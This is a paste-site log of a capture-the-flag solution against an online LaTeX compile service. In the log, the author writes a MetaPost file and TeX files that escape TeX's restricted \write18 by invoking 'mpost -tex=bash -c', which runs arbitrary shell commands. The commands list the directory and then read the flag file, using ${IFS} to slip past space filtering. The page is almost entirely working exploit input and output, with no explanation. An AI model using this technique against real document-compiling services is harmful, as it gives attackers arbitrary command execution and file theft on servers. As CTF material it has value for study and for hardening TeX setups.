PPaste!

Home - All the pastes - Authored by Thooms

Raw version

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
> create mp hime
File created. Type the content now and finish it by sending a line containing only '\q'.
verbatimtex
\documentclass{minimal}\begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig; \end{document} bye
\q
Written to hime.mp.
> create tex hime
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{minimal}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c ls>himeout.tex" "hime.mp"}
\end{document}
\q
Written to hime.tex.
> compile hime
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
 restricted \write18 enabled.
entering extended mode
(/tmp/859345701404879762/hime.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/minimal.cls
Document Class: minimal 2001/05/25 Standard LaTeX minimal class
)This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./hime.mp
>> hime.mp
>> hime.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
                                 blah etex, origin);
Transcript written on hime.log.

No file hime.aux.
(./hime.aux) )
No pages of output.
Transcript written on hime.log.

> show tex himeout
33C37026621341F25CF4
hime.aux
hime.log
hime.mp
hime.tex
himeout.tex
makempx.log
mp6h25YQ.tex

> create tex hime2
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{minimal}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c cat${IFS}33C37026621341F25CF4>himeout.tex" "hime.mp"}
\end{document}
\q
Written to hime2.tex.
> compile hime2
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
 restricted \write18 enabled.
entering extended mode
(/tmp/859345701404879762/hime2.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/minimal.cls
Document Class: minimal 2001/05/25 Standard LaTeX minimal class
)This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./hime.mp
>> hime.mp
>> hime.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
                                 blah etex, origin);
Transcript written on hime.log.

No file hime2.aux.
(./hime2.aux) )
No pages of output.
Transcript written on hime2.log.

> show tex himeout
33C3_pdflatex_1s_t0t4lly_s3cur3!